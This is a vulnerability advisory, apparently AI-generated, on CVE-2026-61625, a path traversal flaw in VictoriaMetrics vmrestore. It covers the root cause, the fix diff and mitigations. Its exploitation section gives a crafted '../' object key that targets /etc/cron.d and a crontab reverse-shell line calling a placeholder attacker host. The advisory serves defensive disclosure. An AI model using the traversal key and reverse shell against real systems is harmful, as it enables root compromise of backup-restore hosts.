CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61625

CVE-2026-61625: Arbitrary File Write via Path Traversal in VictoriaMetrics vmrestore

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 3, 2026·6 min read·4 visits

Executive Summary (TL;DR)

A directory traversal flaw in the VictoriaMetrics `vmrestore` utility enables attackers with write access to the backup store to execute arbitrary file writes on the restoration host, which can lead to remote code execution.

CVE-2026-61625 is a path traversal vulnerability (CWE-22) within the `vmrestore` utility of VictoriaMetrics. When restoring database shards from a compromised or malicious backup source, the application fails to validate the paths of backup parts before creating and writing files. By injecting objects with directory traversal sequences (such as `../`) into the remote backup storage, an attacker can write arbitrary files to out-of-bounds locations on the system executing the restore operation. Depending on the process privileges, this can result in host compromise via remote code execution.

Vulnerability Overview

The VictoriaMetrics system relies on the vmrestore utility to restore database backups from local directories or cloud-based object storage services, including Amazon S3, Google Cloud Storage (GCS), and Azure Blob Storage. During a restoration cycle, vmrestore fetches database chunks, or 'parts,' from the designated remote storage root and writes them to the local disk inside the path defined by the -storageDataPath command-line argument.

This utility acts as a privileged file writer on the host operating system. Historically, the architectural assumption was that the backup source was an implicitly trusted entity under the exclusive control of the administrator. However, in modern multi-tenant environments or compromised cloud infrastructures, an attacker can achieve write or modification access to the backup repository.

Because the input validation boundaries were not enforced on the object paths retrieved from the backup repository, vmrestore accepted arbitrary metadata paths. An attacker who modifies the backup store can insert malicious key paths containing backtrack characters (../), causing vmrestore to write files outside of the intended directory context.

Root Cause Analysis

The root cause of CVE-2026-61625 is an improper path validation mechanism when mapping remote object storage keys to the local restoration directory. Specifically, vmrestore loops through a list of database backup parts (srcParts) and maps each part's relative path (part.Path) to the local destination directory (dir).

To construct the full absolute path of the destination file, the codebase utilized Go's standard library function filepath.Join(dir, part.Path). According to the Go specification, filepath.Join automatically cleans the resulting path by resolving relative directory references, including parent directory references (../).

If part.Path contains a sufficient number of ../ sequences, the resolving logic in filepath.Clean will backtrack past the base directory (dir). For instance, if dir is /var/lib/victoria-metrics/data and part.Path is ../../../../etc/cron.d/malicious_cron, the joined path resolves directly to /etc/cron.d/malicious_cron. Because there was no post-resolution verification to ensure that the final path remained a subdirectory of the intended root directory, vmrestore passed this out-of-bounds path directly to the local filesystem driver.

Code Analysis and Diff Breakdown

The vulnerability was corrected in commit 710c920d6083327042a309e449fae4383617d817 by implementing strict verification checks at both the planning phase and the low-level writing stage.

// lib/backup/actions/restore.go
 
func (r *Restore) Run(ctx context.Context) error {
	if err != nil {
		return fmt.Errorf("cannot list src parts: %w", err)
	}
+   for _, srcPart := range srcParts {
+       if !srcPart.IsLocalPathInsideDir(r.Dst.Dir) {
+           return fmt.Errorf("part file %s would be written outside storage directory %s", srcPart.Path, r.Dst.Dir)
+       }
+   }
	logger.Infof("obtaining list of parts at %s", dst)

The validation is executed using the newly introduced IsLocalPathInsideDir method on the Part struct. This method ensures that the resolved location starts with the targeted directory path plus an explicit path separator, preventing sibling directory bypasses.

// lib/backup/common/part.go
 
// IsLocalPathInsideDir returns true if the part's local path resolves inside dir.
// It resolves ../../ sequences and prevents path traversal outside dir.
func (p *Part) IsLocalPathInsideDir(dir string) bool {
	dir = filepath.Clean(dir)
	if dir == "/" {
		return true
	}
 
	return strings.HasPrefix(p.LocalPath(dir), dir+string(filepath.Separator))
}

By appending string(filepath.Separator) to the end of the cleaned root directory string, the application blocks 'sibling directory' bypasses. For example, if the root directory is /data/storage, the prefix used for validation is /data/storage/. This prevents a traversal path like ../storagefoo/evil.txt from resolving successfully, as /data/storagefoo/ does not match the mandatory prefix /data/storage/.

Additionally, a low-level guard was added to lib/backup/fslocal/fslocal.go to panic if a bad path somehow slips past the planner:

func (fs *FS) NewDirectWriteCloser(p common.Part) (io.WriteCloser, error) {
+   if !p.IsLocalPathInsideDir(fs.Dir) {
+       logger.Fatalf("BUG: part file %s would be written outside storage directory %s", p.Path, fs.Dir)
+   }
 
	path := fs.writePath(p)

Exploitation Methodology

To successfully exploit CVE-2026-61625, an attacker must complete several logistical stages.

First, the attacker must achieve write access to the targeted backup repository. This may occur via stolen AWS API keys, an insecurely configured S3 Bucket Policy allowing public writes, or a compromised shared storage volume (NFS/CIFS).

Second, the attacker uploads a malicious backup block. Rather than configuring a legitimate shard key such as parts/segment_0/data.bin, the attacker creates an object named ../../../../../../../../etc/cron.d/system_maintenance.

Third, the attacker populates this object with a malicious Linux crontab script. For example:

* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.local/4444 0>&1'

Fourth, the operator triggers the standard restore command against the compromised repository. When vmrestore runs, it iterates through the directory structure, encounters the crafted traverse key, resolves the path to /etc/cron.d/system_maintenance, and writes the reverse shell script. Within sixty seconds, the system's cron daemon executes the script, granting the attacker root privileges on the server.

Impact Assessment

The impact of exploiting CVE-2026-61625 is high, potentially leading to complete host compromise. Because vmrestore is frequently run with administrative permissions to write directly to database directories, any file written outside the designated restore directory inherits those write permissions.

By leveraging the arbitrary file write capability, an attacker can achieve remote code execution (RCE) on the database host. Standard targets for RCE via arbitrary writes include crontabs (/etc/cron.d), user profile files (such as ~/.bashrc), or SSH authorized keys (~/.ssh/authorized_keys). If the service runs as a containerized process, the directory traversal is typically limited to the container filesystem unless the container has host-mounted directory paths.

The vulnerability received a CVSS v3.1 score of 6.8 (Medium) rather than High/Critical due to the prerequisites: the attacker must already possess write permissions (PR:L) to the backup destination, and an operator must manually execute the restoration utility (UI:R). However, in automated recovery pipelines and disaster-recovery simulations, this user interaction can be automated, elevating the practical risk.

Mitigation and Fix Completeness

To mitigate CVE-2026-61625, administrators must upgrade VictoriaMetrics tools to versions 1.122.25, 1.136.12, 1.146.0 or later. These versions contain the complete path containment fix.

For systems where an immediate upgrade is not feasible, the following operational mitigations must be implemented:

  1. Apply strict IAM policies to backup storage. Restrict s3:PutObject or equivalent cloud storage permissions to only authorized backup service accounts, ensuring that monitoring systems or external parties can read but not write to the backup bucket.

  2. Scan existing backup targets for traversal sequences. Before running vmrestore, execute checking scripts or run the following command to check for directory traversal structures in S3 keys:

aws s3api list-objects --bucket <your-backup-bucket> --query "Contents[?contains(Key, '..')].Key"

The fix implemented by the VictoriaMetrics maintainers is robust. It applies path validation at the planning layer and uses a second defense-in-depth barrier directly in the filesystem writer, preventing future development regressions from reintroducing the vulnerability.

Official Patches

VictoriaMetricsOfficial GitHub Security Advisory
VictoriaMetricsMitigating Code Commit Patch

Fix Analysis (1)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N
EPSS Probability
0.30%
Top 77% most exploited

Affected Systems

VictoriaMetrics vmrestoreVictoriaMetrics backup-restore workflows

Affected Versions Detail

Product
Affected Versions
Fixed Version
VictoriaMetrics
VictoriaMetrics
< 1.122.251.122.25
VictoriaMetrics
VictoriaMetrics
>= 1.123.0, < 1.136.121.136.12
VictoriaMetrics
VictoriaMetrics
>= 1.137.0, < 1.146.01.146.0
AttributeDetail
CWE IDCWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Attack VectorNetwork
CVSS v3.1 Score6.8 (Medium)
EPSS Score0.00303 (0.30% probability of active exploitation in 30 days)
Exploit StatusNone (No public functional exploits available)
CISA KEV StatusNot Listed
ImpactArbitrary File Write / Remote Code Execution

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
T1037Boot or Logon Initialization Scripts
Persistence
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize special elements such as '..' that can resolve to a location outside of the restricted directory.

References & Sources

  • [1]VictoriaMetrics GHSA Security Advisory
  • [2]Fix Commit 710c920d6083327042a309e449fae4383617d817
  • [3]VictoriaMetrics Release v1.122.25
  • [4]VictoriaMetrics Release v1.136.12
  • [5]VictoriaMetrics Release v1.146.0
  • [6]CVE-2026-61625 Record on CVE.org
  • [7]NVD Vulnerability Details for CVE-2026-61625

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•3 minutes ago•CVE-2026-73295
5.4

CVE-2026-73295: DOM-based Cross-Site Scripting (XSS) in Material for MkDocs Search Suggestions

CVE-2026-73295 is a DOM-based Cross-Site Scripting (XSS) vulnerability affecting Material for MkDocs versions 7.2.0 through 9.7.6. When the optional 'search.suggest' feature is enabled, the client-side 'mountSearchSuggest' function processes user-controlled inputs from the URL 'q' parameter and writes them directly to the DOM using an unsafe innerHTML sink without sanitization.

Alon Barad
Alon Barad
0 views•6 min read
•about 1 hour ago•CVE-2026-71869
9.3

CVE-2026-71869: Remote Code Execution in Orval via OpenAPI Default Value Template Literal Injection

CVE-2026-71869 is a critical-severity code injection vulnerability in the Orval code generator (packages: orval, @orval/core, @orval/zod) prior to version 8.21.0. This flaw allows remote attackers to execute arbitrary JavaScript code at import-time by embedding malicious payloads into the default values of OpenAPI or Swagger specifications. This report details the root cause, exploitation mechanism, and patch remediation.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 3 hours ago•CVE-2026-73846
6.5

CVE-2026-73846: Cache Key Canonicalization Collision in ondata ckan-mcp-server

A medium-severity cache key canonicalization collision vulnerability exists in the ckan-mcp-server prior to version 0.4.112. Unescaped delimiters in key-value parameters and server URLs allow structurally distinct requests to map to the same cryptographic hash, facilitating cache poisoning and unauthorized data exposure.

Alon Barad
Alon Barad
4 views•7 min read
•about 4 hours ago•GHSA-99RQ-75J6-5J9F
8.7

GHSA-99rq-75j6-5j9f: Stored and Reflected XSS in SiYuan via SVG Sanitizer Bypass

A stored and reflected Cross-Site Scripting (XSS) vulnerability was identified in the SiYuan kernel before version v3.7.3. The flaw occurs due to a parser differential between the backend Go-based HTML sanitizer and the browser-side XML rendering engine. Attackers can bypass the SVG sanitizer to execute arbitrary JavaScript within the context of the application's origin, leading to complete workspace compromise, data exfiltration, and full local kernel API manipulation.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 5 hours ago•GHSA-GW25-M53R-QH88
6.5

GHSA-gw25-m53r-qh88: Path Traversal Bypass in SiYuan Notebook via /export/temp/ Short-Circuit Branch

An incomplete mitigation in the export-handling logic of SiYuan Notebook allowed authenticated users to bypass directory traversal protections. By crafting a request with percent-encoded path navigation sequences targeting the /export/temp/ route prefix, attackers can trigger an unvalidated short-circuit block that serving arbitrary files from the host server. This bypass renders previous path-traversal mitigations ineffective for the affected endpoint.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 6 hours ago•CVE-2026-62669
7.4

CVE-2026-62669: Critical Two-Factor Authentication Bypass in Grav CMS Login Plugin

CVE-2026-62669 is a critical Improper Authentication vulnerability (CWE-287) in the Grav Login Plugin for Grav CMS. Prior to version 3.8.11, the plugin's key rotation task failed to verify if a user session was fully authorized before regenerating and returning two-factor authentication (2FA) secrets. Consequently, an attacker possessing a victim's primary credentials could invoke this endpoint to replace the 2FA secret, retrieve the replacement, and bypass the MFA constraint entirely.

Amit Schendel
Amit Schendel
2 views•8 min read